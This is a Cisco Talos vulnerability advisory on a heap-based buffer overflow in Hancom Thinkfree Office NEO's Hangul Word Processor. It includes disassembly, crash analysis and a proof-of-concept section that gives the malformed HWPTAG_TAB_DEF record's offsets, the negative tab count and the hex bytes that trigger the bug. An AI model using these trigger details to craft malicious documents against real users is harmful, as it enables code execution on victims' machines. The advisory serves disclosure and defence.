Talos Vulnerability Report


Hancom Thinkfree NEO Hangul Word Processor HWPTAG_TAB_DEF Tab Count Code Execution Vulnerability

May 12, 2017
CVE Number



An exploitable heap-based buffer overflow exists in the Hangul Word Processor component (version of Hancom Thinkfree Office NEO A specially crafted document stream can cause an integer underflow resulting in a buffer overflow which can lead to code execution under the context of the application. An attacker can entice a user to open up a document in order to trigger this vulnerability.

Tested Versions

Thinkfree Office NEO Trial Word

    Product Version:
    Product Version:

Product URLs

http://www.hancom.com/global/product/productWindowsMain.do?gnb0=3&gnb1=4 http://www.hancom.com/global/cs_center/csDownload.do

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H


CWE-122: Heap-based Buffer Overflow


Thinkfree Office NEO is published by Hancom, Inc. and is considered one of the more popular office suites used within South Korea. Hancom's Word Processor utilizes a document format known as the Hangul Word Processing Document (.hwp) which is based on Microsoft's Structured Storage document format for encapsulating the different streams used by the document format. When processing an HWPTAGTABDEF record within the DocInfo stream, a signedness vulnerability leading to a heap overflow can be made to occur. The vulnerability occurs when calculating the number of tab definitions to grow an array in order to read data from the file into. If the number of tabs is signed, the application will fail to resize a buffer used to store each tab. Later when the application tries to read data from the file into said buffer, a buffer overflow will occur which will lead to code execution under the context of the application.

Hangul Word Processor utilizes the Structured Storage COM format to store the different components needed to describe a document in the Hangul Word Processing format. One of these streams is the FileHeader stream which contains a bit mask describing how the document is actually stored. One of these flags specifies that some of the streams are encoded using the LZW algorithm and thus need to be decompressed before processing. After determining whether the document is compressed or not, the application will proceed to process the DocInfo stream in order to store the general attributes that exist within the document. Although it is not necessary for this vulnerability, the BodyText stream will contain the actual contents of the document.

When processing the DocInfo stream, the application will begin by reading a few tags that are typically located near the beginning of the stream. The first tag is named HWPTAGDOCUMENTPROPERTIES(16), which has its header read at [1]. Immediately following this, the application will parse the HWPTAGIDMAPPINGS(17) record at [2] and use a loop to read a list of UINT32s out of the file [3] which are used for mapping identifiers. After parsing the list of ID-mappings, there is one more record which is read known as the HWPTAGBINDATA(18) record. Before the function call at [5], this record containing binary data is parsed at [4]. Finally at [5] the application calls a function which is used to process the font and tab information for the document.

0:008> u hwpapp+2a4c10
6b254c10 6a10            push    10h
6b254c12 8bce            mov     ecx,esi
6b254c14 e827321400      call    HwpApp!CHncAppShield::operator=+0x241300 (6b397e40)    ; [1] HWPTAG_DOCUMENT_PROPERTIES record header
6b254c19 f6878402000008  test    byte ptr [edi+284h],8
6b254c20 743b            je      HwpApp!CHncAppShield::operator=+0xfe11d (6b254c5d)
6b254d39 6a11            push    11h                                                    ; [2] HWPTAG_ID_MAPPINGS record header
6b254d3b 8bce            mov     ecx,esi
6b254d3d e8fe301400      call    HwpApp!CHncAppShield::operator=+0x241300 (6b397e40)
HwpApp!CHncAppShield::operator=+0xfe212:                                                ; [3] HWPTAG_ID_MAPPINGS record data (list of dwords)
6b254d52 c70300000000    mov     dword ptr [ebx],0
6b254d58 8bce            mov     ecx,esi
6b254d5a 8b06            mov     eax,dword ptr [esi]
6b254d5c 6a04            push    4
6b254d5e 53              push    ebx
6b254d5f ff5008          call    dword ptr [eax+8]
6b254d62 83f804          cmp     eax,4
6b254d65 7532            jne     HwpApp!CHncAppShield::operator=+0xfe259 (6b254d99)
6b254d99 83c304          add     ebx,4
6b254d9c ff8de8fdffff    dec     dword ptr [ebp-218h]
6b254da2 75ae            jne     HwpApp!CHncAppShield::operator=+0xfe212 (6b254d52)
6b254dab ff4634          inc     dword ptr [esi+34h]
6b254dae 8b8ff4000000    mov     ecx,dword ptr [edi+0F4h]
6b254db4 e8d70dffff      call    HwpApp!CHncAppShield::operator=+0xef050 (6b245b90)     ; [4] HWPTAG_BIN_DATA (header and data)
6b254db9 8d8ff8000000    lea     ecx,[edi+0F8h]
6b254dbf e82c2dffff      call    HwpApp!CHncAppShield::operator=+0xf0fb0 (6b247af0)     ; [5]

After calling the function at 6b247af0, the application will eventually execute the following function calls. The function call at [1] will be used to enumerate fonts that are on the system according to the list of font names that are specified within the document. These font names are identified by the HWPTAGFACENAME(19) records. Two more record types are parsed before the record type containing the vulnerability is parsed. These are the HWPTAGBORDERFILL(20) record at [2], followed by the HWPTAGCHARSHAPE(21) record at [3]. After the HWPTAGBORDERFILL(20) is allocated for and then HWPTAGCHARSHAPE(21) record's object is constructed, the function call at [4] will be used to parse the HWPTAGTABDEF(22) records defined within the document. After parsing HWPTABTABDEF(22) records, the HWPTAG_NUMBERING(23) records will also be parsed at [5].

0:008> u hwpapp+297aff
6b247aff 8b06            mov     eax,dword ptr [esi]
6b247b01 83c040          add     eax,40h
6b247b04 50              push    eax
6b247b05 e8c6090000      call    HwpApp!CHncAppShield::operator=+0xf1990 (6b2484d0)     ; [1] HWPTAG_FACE_NAME records
6b247b0a 8b06            mov     eax,dword ptr [esi]
6b247b0c 8bce            mov     ecx,esi
6b247b0e 83c040          add     eax,40h
6b247b11 50              push    eax
6b247b12 e8690e0000      call    HwpApp!CHncAppShield::operator=+0xf1e40 (6b248980)     ; [2] HWPTAG_BORDER_FILL records
6b247b17 8b06            mov     eax,dword ptr [esi]
6b247b19 8bce            mov     ecx,esi
6b247b1b 83c040          add     eax,40h
6b247b1e 50              push    eax
6b247b1f e80c100000      call    HwpApp!CHncAppShield::operator=+0xf1ff0 (6b248b30)     ; [3] HWPTAG_CHAR_SHAPE record
6b247b24 8b06            mov     eax,dword ptr [esi]
6b247b26 8bce            mov     ecx,esi
6b247b28 83c040          add     eax,40h
6b247b2b 50              push    eax
6b247b2c e8af110000      call    HwpApp!CHncAppShield::operator=+0xf21a0 (6b248ce0)     ; [4] HWPTAG_TAB_DEF records
6b247b31 8b06            mov     eax,dword ptr [esi]
6b247b33 8bce            mov     ecx,esi
6b247b35 83c040          add     eax,40h
6b247b38 50              push    eax
6b247b39 e8b2120000      call    HwpApp!CHncAppShield::operator=+0xf22b0 (6b248df0)     ; [5] HWPTAG_NUMBERING record

Inside the function 6b248ce0, the application will first calculate the terminator for the loop of HWPTAGTABDEF(22) records at [1] and then begin to enter the loop [2] in order to process each record. For each record the array that stores it will be grown via the function at [3]. This function will simply re-allocate the array that's stored at %esi+50. At [4], the application will read the header and contents of each HWPTAGTABDEF(22) record.

0:008> u hwpapp+298d4c
6b248d4c 33db            xor     ebx,ebx
6b248d4e 8b06            mov     eax,dword ptr [esi]
6b248d50 8b80a8000000    mov     eax,dword ptr [eax+0A8h]
6b248d56 8945ec          mov     dword ptr [ebp-14h],eax                                ; [1] loop sentinel
6b248d59 85c0            test    eax,eax
6b248d5b 7e71            jle     HwpApp!CHncAppShield::operator=+0xf228e (6b248dce)
6b248d5d 8d4900          lea     ecx,[ecx]
6b248d60 ff7508          push    dword ptr [ebp+8]                                      ; [2] loop processing HWPTAG_TAB_DEF records
6b248d63 8d4dc8          lea     ecx,[ebp-38h]
6b248d66 e8e50ae0ff      call    HwpApp!ResetCoreEngine+0x5eb10 (6b049850)
6b248d89 8d4e50          lea     ecx,[esi+50h]
6b248d8c e83f080000      call    HwpApp!CHncAppShield::operator=+0xf2a90 (6b2495d0)     ; [3] grow HWPTAG_TAB_DEF array
6b248d91 8b4e54          mov     ecx,dword ptr [esi+54h]                                ; index into HWPTAG_TAB_DEF array
6b248d94 43              inc     ebx
6b248d95 8b4650          mov     eax,dword ptr [esi+50h]
6b248d98 897c88fc        mov     dword ptr [eax+ecx*4-4],edi                            ; write into array
6b248d9c 3b5dec          cmp     ebx,dword ptr [ebp-14h]                                ; [1] loop sentinel being used to terminate loop
6b248d9f 7d1c            jge     HwpApp!CHncAppShield::operator=+0xf227d (6b248dbd)
6b248da1 8b75e8          mov     esi,dword ptr [ebp-18h]
6b248da4 ebba            jmp     HwpApp!CHncAppShield::operator=+0xf2220 (6b248d60)     ; [2] continue processing HWPTAG_TAB_DEF records

For each HWPTAGTABDEF(22) record in the file, the following function will be executed. When reading each record, its header is first processed at [1]. Each HWPTAGTABDEF(22) record begins with a UINT32 integer which describes properties of the tab. This is then followed by an integer which is used to contain the number of tabs defined within the record [2]. These tabs are aggregated in a single array which contains all of the tabs within each HWPTAGTABDEF(22) record within the file. The allocation which grows the array is done by the function call at [3]. Afterwards, the count for the single HWPTAGTABDEF(22) is multiplied by 8 and then passed to the function call at [4] to actually read each tab defined within the record.

0:008> u hwpapp+99850
6b049850 55              push    ebp
6b049851 8bec            mov     ebp,esp
6b049853 51              push    ecx
6b049854 56              push    esi
6b049855 8b7508          mov     esi,dword ptr [ebp+8]
6b049858 57              push    edi
6b049859 8bf9            mov     edi,ecx
6b04986d 6a16            push    16h                                                    ; [1] HWPTAG_TAB_DEF record header
6b04986f 8bce            mov     ecx,esi
6b049871 e8cae53400      call    HwpApp!CHncAppShield::operator=+0x241300 (6b397e40)
6b04988c 51              push    ecx
6b04988d ff7508          push    dword ptr [ebp+8]                                      ; [2] HWPTAG_TAB_DEF count used for allocation
6b049890 8d4f10          lea     ecx,[edi+10h]
6b049893 e898b40000      call    HwpApp!ResetCoreEngine+0x69ff0 (6b054d30)              ; [3] Allocate array using the product of count and 8 at %edi+10
6b0498a8 8b4508          mov     eax,dword ptr [ebp+8]                                  ; [2] HWPTAG_TAB_DEF count checked for zero
6b0498ab 85c0            test    eax,eax
6b0498ad 746b            je      HwpApp!ResetCoreEngine+0x5ebda (6b04991a)
6b0498af 8b16            mov     edx,dword ptr [esi]
6b0498b1 8bce            mov     ecx,esi
6b0498b3 c1e003          shl     eax,3                                                  ; [2] multiply HWPTAG_TAB_DEF count by 8
6b0498b6 50              push    eax
6b0498b7 ff7710          push    dword ptr [edi+10h]                                    ; use buffer allocated at %edi+10
6b0498ba ff5208          call    dword ptr [edx+8]                                      ; [4] method to read specified data out of file

When allocating space for the number of tabs, the function call at 6b049893 is made which will check the current size of the tabs array and resize it if necessary. First at [1], the function will check to see if the number of tabs is 0. Next at [2], the application will check to see if the current buffer is unallocated. If so, then an allocation will be made. However, due to an HWPTAGTABDEF(22) already existing the application will continue executing so that it may layer resize the buffer. At [3], the application will check to see if the number of tabs is larger than the current count. Due to this comparison being signed, the number of tabs will be treated as less than the current count which will cause the application to not resize the buffer at [4]. The function then returns due to the application believing that there is no need to resize the buffer containing each tab.

0:008> u hwpapp+a4d30
6b054d30 55              push    ebp
6b054d31 8bec            mov     ebp,esp
6b054d33 53              push    ebx
6b054d34 56              push    esi
6b054d35 57              push    edi
6b054d36 8b7d08          mov     edi,dword ptr [ebp+8]                      ; number of tabs
6b054d39 8bf1            mov     esi,ecx
6b054d3b 85ff            test    edi,edi
6b054d3d 752c            jne     HwpApp!ResetCoreEngine+0x6a02b (6b054d6b)  ; [1] check if number of tabs is defined
6b054d6b 8b16            mov     edx,dword ptr [esi]
6b054d6d 85d2            test    edx,edx
6b054d6f 7545            jne     HwpApp!ResetCoreEngine+0x6a076 (6b054db6)  ; [2] check if current buffer has been allocated
6b054db6 8b4e08          mov     ecx,dword ptr [esi+8]
6b054db9 3bf9            cmp     edi,ecx
6b054dbb 7f30            jg      HwpApp!ResetCoreEngine+0x6a0ad (6b054ded)  ; [3] check if current number of tabs is larger than current count
6b054dbd 8b4e04          mov     ecx,dword ptr [esi+4]
6b054dc0 3bf9            cmp     edi,ecx
6b054dc2 0f8eb3000000    jle     HwpApp!ResetCoreEngine+0x6a13b (6b054e7b)  ; [4] comparison which skips re-allocation
6b054e7b 897e04          mov     dword ptr [esi+4],edi
6b054e7e b801000000      mov     eax,1
6b054e83 5f              pop     edi
6b054e84 5e              pop     esi
6b054e85 5b              pop     ebx
6b054e86 5d              pop     ebp
6b054e87 c20800          ret     8

Returning back to the address after 6b049893, the application will then multiply the number of tags that were read by 8 and then pass it as an argument along with the buffer that was not resized to the method call at 6b0498ba in order to read tab data from the file into. Inside the method at 6b398340, the application will pass the destination buffer and its size at [1] to call a function at [2] which uses HncGZRead to decompress file data into a buffer. To perform this action, the application will enter a loop which will decompress each block from the stream into a buffer and then use memcpy to write data into the undersized buffer described previously [3]. Due to the application failing to resize the buffer due to a signed-ness issue, this memcpy will write outside the bounds of the heap buffer which will lead to a heap-based buffer overflow.

0:008> u hwpapp+3e8340
6b398340 55              push    ebp
6b398341 8bec            mov     ebp,esp
6b398343 56              push    esi
6b398344 57              push    edi
6b398345 8bf9            mov     edi,ecx
6b398347 8b472c          mov     eax,dword ptr [edi+2Ch]
6b39834a 85c0            test    eax,eax
6b39834c 743a            je      HwpApp!CHncAppShield::operator=+0x241848 (6b398388)
6b39835a 8b450c          mov     eax,dword ptr [ebp+0Ch]                                ; size
6b39835d 53              push    ebx
6b39835e 8b5d08          mov     ebx,dword ptr [ebp+8]                                  ; destination
6b398361 3bc6            cmp     eax,esi
6b398363 7e13            jle     HwpApp!CHncAppShield::operator=+0x241838 (6b398378)    ; [1]
6b398378 50              push    eax                                                    ; size
6b398379 53              push    ebx                                                    ; destination
6b39837a 8bcf            mov     ecx,edi
6b39837c e8efd3ffff      call    HwpApp!CHncAppShield::operator=+0x23ec30 (6b395770)    ; \ [2] reads file data
6b398381 5b              pop     ebx
6b398382 5f              pop     edi
6b398383 5e              pop     esi
6b398384 5d              pop     ebp
6b398385 c20800          ret     8

0:008> u hwpapp+3e57cd
6b3957cd 3b1a            cmp     ebx,dword ptr [edx]
6b3957cf 8d450c          lea     eax,[ebp+0Ch]
6b3957d2 0f43c2          cmovae  eax,edx
6b3957d5 8b30            mov     esi,dword ptr [eax]                                    ; read data from
6b3957d7 56              push    esi                                                    ; length
6b3957d8 ff7710          push    dword ptr [edi+10h]                                    ; source file data
6b3957db 51              push    ecx                                                    ; destination buffer
6b3957dc e82d781e00      call    HwpApp!CHncAppShield::operator=+0x4264ce (6b57d00e)    ; [3] memcpy

Crash Information

(5f4.6fc): Access violation - code c0000005 (first/second chance not available)
eax=26d99280 ebx=80000010 ecx=000003ca edx=000004c2 esi=26d98eb6 edi=1f427000
eip=6e60f20c esp=2234ec24 ebp=2234ec4c iopl=0         nv up ei ng nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
6e60f20c f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

0:008> lm m hwp
Browse full module list
start    end        module name
00f20000 01476000   Hwp        (deferred)             

0:008> lm m hwpapp
Browse full module list
start    end        module name
6afb0000 6b8d5000   HwpApp     (export symbols)       HwpApp.dll

; Backtrace shows that the buffer being written to is 1f426f08 using the length of 4c2 bytes.
0:008> kv
 # ChildEBP RetAddr  Args to Child              
00 2234ec28 6b3957e1 1f426f08 26d98dbe 000004c2 MSVCR120!memcpy+0x2a (FPO: [3,0,2]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\string\i386\memcpy.asm @ 188]
01 2234ec4c 6b398381 1f426f08 80000010 00000002 HwpApp!CHncAppShield::operator=+0x23eca1
02 2234ec68 6b0498bd 1f426f08 80000010 00000001 HwpApp!CHncAppShield::operator=+0x241841
03 2234ec84 6b248d6b 90000002 69e27263 2234f038 HwpApp!ResetCoreEngine+0x5eb7d
04 2234ecdc 6b247b31 2234f078 2234f078 6b254dc4 HwpApp!CHncAppShield::operator=+0xf222b
05 2234ef28 6b2534de 2234f038 6b57af23 6e60ed79 HwpApp!CHncAppShield::operator=+0xf0ff1
06 2234ef8c 6b24d0d6 69e26eab 13c1c650 001dd928 HwpApp!CHncAppShield::operator=+0xfc99e
07 2234f014 6b24dcb3 001de578 001dd928 69e26e97 HwpApp!CHncAppShield::operator=+0xf6596
08 2234f51c 6affd05e 13c1c650 001de578 001dd928 HwpApp!CHncAppShield::operator=+0xf7173
09 2234fd98 6e565b7a 2234fdac 6e5658b8 001dd6f8 HwpApp!ResetCoreEngine+0x1231e
0a 2234fda0 6e5658b8 001dd6f8 2234fde4 6e62c01d HncBL90_6e560000!HncGetCurMainThreadID+0x2fa
0b 2234fdac 6e62c01d 001dd478 599bf348 00000000 HncBL90_6e560000!HncGetCurMainThreadID+0x38
0c 2234fde4 6e62c001 00000000 2234fdfc 74a4336a MSVCR120!_callthreadstartex+0x1b (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
0d 2234fdf0 74a4336a 22592c40 2234fe3c 76ed9902 MSVCR120!_threadstartex+0x7c (FPO: [Non-Fpo]) (CONV: stdcall) [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
0e 2234fdfc 76ed9902 22592c40 54c66392 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0f 2234fe3c 76ed98d5 6e62bfb4 22592c40 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
10 2234fe54 00000000 6e62bfb4 22592c40 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

; The size of the heap chunk at 1f426f08 is f8. This is a result of the total number of tabs being 1f then multiplied by 8 for the tab size
0:008> !heap -p -a 1f426f08 
    address 1f426f08 found in
    _DPH_HEAP_ROOT @ 381000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1f68057c:         1f426f08               f8 -         1f426000             2000
    6e778e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    76f70f3e ntdll!RtlDebugAllocateHeap+0x00000030
    76f2ab47 ntdll!RtlpAllocateHeap+0x000000c4
    76ed3431 ntdll!RtlAllocateHeap+0x0000023a
    6e60ed63 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
    6e60ee1f MSVCR120!operator new+0x0000001d [f:\dd\vctools\crt\crtw32\heap\new.cpp @ 59]
    6b054d7e HwpApp!ResetCoreEngine+0x0006a03e
    6b049898 HwpApp!ResetCoreEngine+0x0005eb58
    6b248d6b HwpApp!CHncAppShield::operator=+0x000f222b
    6b247b31 HwpApp!CHncAppShield::operator=+0x000f0ff1
    6b2534de HwpApp!CHncAppShield::operator=+0x000fc99e
    6b24d0d6 HwpApp!CHncAppShield::operator=+0x000f6596
    6b24dcb3 HwpApp!CHncAppShield::operator=+0x000f7173
    6affd05e HwpApp!ResetCoreEngine+0x0001231e
    6e565b7a HncBL90_6e560000!HncGetCurMainThreadID+0x000002fa
    6e5658b8 HncBL90_6e560000!HncGetCurMainThreadID+0x00000038
    6e62c01d MSVCR120!_callthreadstartex+0x0000001b [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
    6e62c001 MSVCR120!_threadstartex+0x0000007c [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
    74a4336a kernel32!BaseThreadInitThunk+0x0000000e
    76ed9902 ntdll!__RtlUserThreadStart+0x00000070
    76ed98d5 ntdll!_RtlUserThreadStart+0x0000001b

; The source argument points to file contents
0:008> db 26d98dbe L20
26d98dbe  0c 1f 00 00 00 00 91 00-b0 91 00 00 00 03 00 00  ................
26d98dce  19 04 a0 02 80 00 00 00-00 00 00 00 00 00 00 00  ................

Exploit Proof-of-Concept

The Hangul Word Processor comonent utilizes the Compound Document format that is available via Microsoft's API. This file format is documented by Microsoft as part of their Document Interoperability Initiative. The format is similar to the FAT file format and contains a table describing where each file stream is stored within the file. Within each HWP file is a list of streams that are used to describe the document. This vulnerability is based around 2 streams, the FileHeader stream and the DocInfo stream.

Within the FileHeader stream is the following 512-byte structure. These fields describe the global format of the document. At the beginning of the stream is a 32-byte signature that contains the string "HWP Document File". Immediately following this is the version, which is 0x00000005.

<class hangul.FileHeader>
[0] <instance block(32) 'Signature'> "\x48\x57\x50\x20\x44\x6f\x63\x75\x6d\x65\x6e\x74\x20\x46\x69\x6c\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[20] <instance DWORD 'Version'> 0x05000000 (83886080)
[24] <instance Flags 'Flags'> (0x00000001, 32) Compressed
[28] <instance block(216) 'Reserved'> "\x00\x00\x00\x00\x00\x00\x00 ..skipped ~196 bytes.. \x00\x00\x00\x00\x00\x00\x00"

At offset 0x24 within the provided proof-of-concept is a 32-bit little-endian field that allows for one to describe whether streams are compressed using the LZW algorithm. If the last bit is set, then this specifies that the streams within the file are compressed with LZW excluding the header and CRC.

<class hangul.Flags> 'Flags'
[24.0] <instance 'Reserved'> (0x00000, 20)
[26.4] <instance 'Has CCL'> (0x0, 1)
[26.5] <instance 'DRM Document Certificate'> (0x0, 1)
[26.6] <instance 'Has pre-stored Electronic Signature'> (0x0, 1)
[26.7] <instance 'Has Certificate'> (0x0, 1)
[27.0] <instance 'Has Signature'> (0x0, 1)
[27.1] <instance 'Is Traceable'> (0x0, 1)
[27.2] <instance 'XMLTemplate Storage'> (0x0, 1)
[27.3] <instance 'Has DRM-Security'> (0x0, 1)
[27.4] <instance 'Has Scripting'> (0x0, 1)
[27.5] <instance 'For-distribution'> (0x0, 1)
[27.6] <instance 'Has Password-protection'> (0x0, 1)
[27.7] <instance 'Compressed'> (0x1, 1)

The other streams within the compound document format contain information about the text within the document. The DocInfo stream contains a list of tags which describe the type, length, and value of each record to be applied to the document. Within the provided proof-of-concept, the DocInfo stream is LZW compressed and will need to be decompressed in order to view the HWPTAGTABDEF(22) data structure that is responsible for this vulnerability. The HWPTAGTABDEF(22) structure that triggers the vulnerability is located at offset 0x5b2 within the decompressed stream.

<class hangul.Record> '28'
[5b2] <instance hangul.Type 'Type'> (0x01800416, 32)
[5b6] <instance undefined 'Length'> ...
[5b6] <instance hangul.HWPTAG_TAB_DEF 'Data'> "\x00\x00\x00\x00\x02\x00\x00\x90"
[5be] <instance block(16) 'Padding'> "\x0c\x1f\x00\x00\x00\x00\x91\x00\xb0\x91\x00\x00\x00\x03\x00\x00"

At the beginning of each record is a 32-bit binary structure that describes the size and type of the record.. The first 12 bits describe the size, followed by 10-bits for the level (which is irrelevant to this vulnerability), and then 10 bits for the Identifier. If the size has all 12 of its bits set, a UINT32 that immediately follows will be used as the length. Within the proof-of-concept, the record has a size of 0x18 and an identifier of 0x16.

<class hangul.Type> 'Type'
[5b2.0] <instance 'Size'> (0x018, 12)
[5b3.4] <instance 'Level'> (0x001, 10)
[5b4.6] <instance 'Id'> (0x016, 10)

At offset 0x4b2 of the proof-of-concept is the data component of the first record. The HWPTAGTABDEF(22) describes information about the tab definitions within the document. The 2nd field (an INT32) is used as a count for the number of elements that follow and is multiplied by 8 before being used to allocate space for the tab data.

<class hangul.HWPTAG_TAB_DEF> 'Data'
[4b2] <instance hangul.UINT32 'Properties'> 0x00000000 (0)
[4b6] <instance hangul.INT32 'Count'> 0x0000001f (31)
[4ba] <instance dynamic.array(hangul.Tab,31) 'Tab'> hangul.Tab[31] "\x80\x1f\x00\x00\x00\x00\x91 ..skipped ~228 bytes.. \xf0\x03\x00\x00\x00\x00\x00"

At offset 0x5b6 is the data for the next tab definition which triggers the bug. If this value has its high bit set, then the heap buffer allocated in the previous tab definition will be reused without the array being resized to accommodate the space. In the proof-of-concept, the INT32 for the tab count is set to 0x90000002.

<class hangul.HWPTAG_TAB_DEF> 'Data'
[5b6] <instance UINT32 'Properties'> 0x00000000 (0)
[5ba] <instance INT32 'Count'> -0x6ffffffe (-1879048190)
[5be] <instance array(hangul.Tab,0) 'Tab'> hangul.Tab[0] ""

The contents that are copied into the heap buffer then begin at offset 0x5be.

00005b0: 0000 1604 8001 0000 0000 0200 0090 0c1f  ................
00005c0: 0000 0000 9100 b091 0000 0003 0000 1904  ................
00005d0: a002 8000 0000 0000 0000 0000 0000 0000  ................


Do not open HWP documents from untrusted sources.


2017–04-13 - Vendor Disclosure
2017-05-12 - Public Release


Discovered by a member of Cisco Talos